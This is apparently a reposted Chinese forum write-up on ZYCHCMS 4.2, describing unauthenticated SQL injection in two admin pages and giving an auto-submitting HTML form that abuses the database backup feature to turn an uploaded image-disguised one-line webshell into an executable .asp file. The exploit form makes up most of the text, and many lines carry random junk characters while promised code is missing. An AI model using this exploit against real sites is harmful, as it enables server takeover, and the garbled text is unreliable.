ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

; {! _" ^3 U& I" S$ v
# L" B% o5 o- }! r9 _
1 z1 ~$ x  u' X3 Y8 G- m. x
: |  ^- f! u: n& _  X# Y4 P. G影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
; X8 \  `" \7 n) O ①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
漏洞代码：
# |( q4 C4 D8 W  z4 C" y 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
, y" Q8 j# T0 r0 L/ I 修复方法：在文件开头加入代码


* m9 U2 Y  G0 ^) x) ?②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
; D4 R) L3 @% A) ?" u4 ~. c$ C6 ^; s 这里在网上找了一个，改了下，将就着用。
% j+ P) A/ U3 j: c" ^ 以下是代码本地提交代码

; C0 l; z. y& g
" M, H; V+ Y( `0 Y: A: f, X<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
. m! d( u& ^$ K% W <!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
. k/ D1 q7 P7 G <tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
</tr>
& p2 F0 G3 I% p6 b" @7 `, S <tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
2 V' O/ a0 ~' X0 l9 t <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
1 M. F! w4 w# [8 D" J# q3 O6 m  q <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
5 N& B; {6 ~) A$ z <td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
) _# \8 k6 L: Q <!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
1 B, t) j* \% G9 C <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
& J. @! e, s$ X9 V1 F# H8 I1 ~ </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
<td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
! S% u- m8 P" r. E+ F [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
</tr>
$ u- o% q$ S, M; Q1 x1 y <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
7 O4 R+ A/ A7 v" I/ ]- W <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
9 [$ v$ `% O  f1 r0 o' e9 N0 Y <td class=”td”><div align=”left”>
) i- ^& ?' Z' L6 t1 l, h0 z <input type=”submit” value=”确定备份” class=”btn”
+ \9 P0 A! g" _+ \3 j </div></td>
</tr>
+ t5 E: d3 `5 g. E </table></td></tr></form>
</table>
</td>
</tr>
6 F. r! m( [! H9 u3 c </table>
) ~$ E5 H8 U  Q" W$ _ <script>
% j) e: F4 c$ q# W4 n document.all.add.submit();
, w# l1 X4 _5 j </script>


: J8 m) C4 M3 X8 l/ V% u
: n: b0 G3 j2 c, J* Y
7 F. g, p# _" y, ?4 o- e
5 S: j1 V+ N1 [




; a5 ]- T8 j* ]6 x9 o. e1 ]